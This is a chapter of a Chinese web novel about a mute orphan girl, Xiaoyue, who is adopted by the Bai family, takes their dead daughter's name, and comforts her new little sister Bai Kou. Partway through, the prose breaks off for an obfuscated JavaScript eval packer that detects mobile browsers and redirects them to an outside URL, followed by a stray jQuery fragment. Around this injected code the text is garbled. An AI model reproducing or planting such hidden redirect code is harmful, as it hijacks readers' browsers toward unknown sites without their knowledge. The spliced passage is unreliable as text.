“我姐姐的名字?”
小月点点头:【对,她的名字叫什么?】
“白虞桥。”
小月皱眉,“白”她知道,“yu”是哪个字,“qiao”是乔还是桥?
如果她能问出声就好了……
白蔻咬下一块薄荷冰含在腮帮子,眼睛若有所思地盯着小月姐姐看了一会儿,转身踮脚去书桌上拿来一只铅笔,还有一张纸。
她把纸和笔都塞给小月,说:“我不会写字,但是我记得姐姐的名字长什么样子。”
小月接住,看向白蔻的表情里有一丝不解。
白蔻便又说了:“白就是白色的白,yu……嗯它长得很高有一点胖胖的,很复杂的一个字,至于桥,就是过河的那个桥。”
按照白蔻的描述,小月跪到床边,将纸平摊在床沿,一笔一划写——
白虞桥?
白蔻当即非常认可地点头:“就是这样!小月姐姐你太聪明了!”
小月看着白蔻这欣喜的模样,脸上笑了一秒。
随后她想起她还想问的事,就拍拍白蔻的肩膀,比划:【你姐姐什么时候回家?】
“姐姐不会回来了。”白蔻说,“她死了。”
小月眼底微微惊讶,手指张开比了一个缓缓抬高的六。
这白蔻看不懂,问:“六?什么意思?是问我现在几点吗?”
小月急得忙摆手,捡起铅笔写:【她死了?】
白蔻更疑惑,指着小月刚写下的字说:“小月姐姐,我看不懂。”
小月叹气,回想这些天白蔻会比划的手语,勉强拼凑出一句:【你想姐姐吗?】
白蔻这回看懂了,点头:“当然想啊,妈妈也想,我看妈妈经常哭,都不敢跟她提姐姐。”
小月抿唇还想比划。
白蔻凑近神神秘秘道:“小月姐姐,告诉你一个秘密吧,其实我早就知道姐姐死了,可是我要装作不知道,那样妈妈才不会伤心,今天我悄悄告诉你了,你也要替我保密哦,不可以告诉妈妈。”
小月非常郑重地点了下头,抬手摸摸白蔻的脑袋。
没过两天,白晓初单独找到小月。
她非常言简意赅地跟小月表述了一下领养和改名的事情,最后,面带歉意说:“当然,小月,我知道这样一定会让你心里觉得不舒服……”
她完全没想到小月会立刻摇头,扬起自回到白家以来最灿烂的笑脸。
小月在纸上写:【白阿姨,我愿意成为您的女儿,愿意成为白蔻的姐姐,愿意成为白虞桥!】
最后特意用感叹号。
隔天三个人一同去福利院,白蔻全程像防狼似的防白晓初,一直把小月牢牢挡在身后。
连白晓初要拉小月进办公室正式跟院长告别都不行。
只见白蔻张开双臂,两眼冒火,老鹰护小鸡:“不!我绝对不允许小月姐姐进去!”
白晓初有时候也坏,非常爱逗她这个女儿。
先跟白蔻身后的小月对视一眼,白晓初快速比了个“嘘”,然后脸上佯装严肃,沉声:“白蔻不准闹!赶紧让开!这么多天该玩够了!小月姐姐必须留在这里!”
白蔻这小孩吧,也是,虽然大多数时候脑子转得快能跟任何人斗智斗勇。
但真的被对方用她在乎的事情一吓——
宛若晴天霹雳。
人一瞬间傻眼了。
粉白粉白婴儿肥的小脸蛋肉眼可见变红,接着就是嘴一瘪。
李院长见白姐出门半天没回,主动走出来看见的,就是白蔻低头,默默垂下胳膊,眼泪如断线珍珠一般噼里啪啦往下掉的画面。
“呀?咋了这是?”
“咳。”闹过头,白晓初不好意思,她挠挠耳朵,先转头对李院长说,“没事我逗她玩嘛,小孩子太当真了。”
白晓初说话间,比白蔻个头高上一截的小月,从身后搂住白蔻的肩膀,手指抚掉白蔻的眼泪。
“呜呜呜呜呜呜呜呜……”没人管还好,小月这一动作,让白蔻哭得更伤心了,她前言不搭后语,“小、小月姐姐,呜呜呜,你、我、等着,接你,我以后来、来接你。”
白蔻。白蔻。
小月心里念妹妹的名字,绕到白蔻跟前,双手捧住白蔻的脸,让崩溃的妹妹抬起头。
等确定白蔻在看她,小月指白蔻,摆摆手,作两行眼泪滑下的手势:【你别哭。】
【我。】她点点自己的心,再伸出两只食指相对,滑过心口,【一直。】,手势六敲手心,【在。】
【你别哭,我一直在。】她知道白蔻认得慢,所以用最简单的句子,把每个动作都放到最缓。
比划完再用白蔻最懂的手势问:【你明白我的意思吗?】
白蔻泪眼汪汪地撅着嘴,点头委屈:“我明白,但也不明白,什么叫你一直在呢?”
李院长吃惊睁大眼睛:“这么复杂的句子白蔻都能看懂啊?”
全场唯一没看懂的白晓初疑惑:“是吗?这句子很复杂?说的是什么?”
“小月让白蔻别哭,说她一直在,还问白蔻能不能看懂她的意思。”
从福利院离开,前往派出所的路上,白蔻捧着小月姐姐的手在后座欢呼:“耶耶耶耶耶!姐姐跟我们回家啦!”
白晓初瞥后视镜一眼:“也不知道刚才是谁哭得跟个小花猫一样。”
“是我呀。”白蔻说,“我不哭你怎么心软呢,我是大功臣,小月姐姐你说是不是?”
小月笑了笑,点头肯定。
入户改名的事情白晓初提前联系了她的老同学,到派出所,小月被领进去拍照。
白晓初昨晚没睡好,困得正在打哈欠,白蔻拽拽她的小拇指:“妈妈,有件事我必须批评你,你可以接受吗?”
“哈——我接受你说吧。”
“既然你都决定要让小月姐姐成为我们的家人,你就不可以说那些骗人的话。”白蔻小小的眉毛紧紧皱,“我伤心没关系,小月姐姐伤心怎么办?”
“噗。”白晓初捏白蔻的耳朵,“你还懂这些呢。”
白蔻把白晓初的手挡开:“妈妈,我在跟你认真讲话,请你不要当我在开玩笑。”
我知道你认真。白晓初心里大笑,可是你看你这小脸多可爱啊。
“妈妈!”白蔻见白晓初不回话,急得跺了下脚。
“好我知道了。”白晓初说,“今天是我错了,晚上请你们去吃炸鸡腿怎么样?”
白蔻立马吃惊,捂住嘴巴,像演戏一样语调激动:“是冯阿姨她们家那个超大超大超大超大的脆脆炸鸡腿吗?!”
白晓初纳闷:“冯阿姨?”
“嗯!”白蔻掰手指细数,“那家店有三个阿姨一个奶奶,老板是冯阿姨,端鸡腿给我们的是韩阿姨,还有收钱的是吕阿姨,给我送糖吃的是陶奶奶。”
“……”白晓初眯眼,不由得感叹,“白豆豆你可真厉害啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068958|179268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿到最新的取户口证明,三天后,白家的户口本上就要又多出一页“白虞桥”了。
令白晓初没想到的是,白蔻抿唇对窗外忧郁了一路后,下车就接受了小月姐姐以后要变成白虞桥姐姐的事,以及,小月晚上敲响她的房门,迟疑递给她一张纸。
上面写:
【白阿姨,明天可以带我去看看白虞桥吗?】
第二天一早,白晓初将还未睡醒的白蔻托付给杨晚兮,开车带小月去公墓。
安静的卧室中,杨晚兮坐在书桌前剪报纸,上面有她妈咪得奖的新闻,书桌主人白蔻则卷在被子漩涡里呼呼大睡。
咔嚓。
最后一刀清脆合拢,一片长方形的纸滑落在书面上。
杨晚兮捡起它,呼呼吹两口,非常满意自己的完美杰作。
“唔……”身后传来白蔻苏醒的动静。
杨晚兮放下剪刀,左右看看,随便抽出一本白蔻的漫画书,将纸片先压好。
白蔻坐起身,迷迷糊糊挠脖子,她脸上印出一块一块麻将席的印子,把杨晚兮逗笑。
杨晚兮蹬掉拖鞋爬上床,盘腿坐白蔻面前,指尖点点白蔻脸上的“麻将”:“哈哈哈!白豆豆你怎么这么好笑哦!”
白蔻没睡醒,但哑着嗓音反驳:“我不叫白豆豆。”
“白豆豆白豆豆白豆豆~”杨晚兮才不管,捏住白蔻的左右脸,当玩具一样又捏又晃。
杨晚兮喜欢当“大人”,可身边除了白蔻没人比她年纪小,她能揉捏的能教育的就只有白蔻。
她捏完白蔻的脸,再像给西西梳毛一样扒拉了两下白蔻的炸毛头,说:“好,现在你醒了,要先去洗脸、刷牙。”
白蔻还觉得困,一下歪倒回枕头上。
“不要,我要继续睡。”
“什么?都八点半了还睡?”杨晚兮不同意,她拉住白蔻的手,将妹妹强行拽起身,“别睡了,我给你看我妈咪,她得奖了!”
白蔻拖鞋都没穿,踩在地板上,手指摸摸剪报上的脸:“这么模糊,你怎么能认出她是你妈咪呢?”
“笨蛋,你不识字呀。”杨晚兮指了指旁边的标题,“李孟君,我妈咪就叫李孟君。”
“我还没学过写字呢。”
“哦,对哦,那你知不知道我的名字怎么写?”
白蔻摇头:“不知道。”
“居然不知道?不行,我现在就教你,你必须会写我的名字!”
白蔻:“为什么,我不想学写字。”
“写字是写字,写我的名字是写我的名字。”
“那我也不想写你的名字。”
“不,行。”
说完,杨晚兮把铅笔塞进白蔻的手里,带着白蔻歪歪扭扭地写——
杨、晚、兮。
临近中午白晓初带着小月回到家,杨晚兮又失去了一定要让白蔻会写她名字的执念,带白蔻上家里看《笑俠西遊》去了。
小月一个人将带给妹妹的香芋糖送进白蔻的房间里。
放下,她发现桌上有一张纸,乱七八糟写了好几排“杨晚兮”。
小月看了会儿。
然后她拿起桌上的铅笔,刚要落笔“陈月”,写下“丨”这第一划后顿住,捡橡皮过来擦掉。
离开房间时,窗外吹进来一阵风,撩得纱帘起起伏伏。
纱帘下,有三排毛毛虫似的“杨晚兮”。
还有纸张正中央,一个极为端正的“白虞桥”。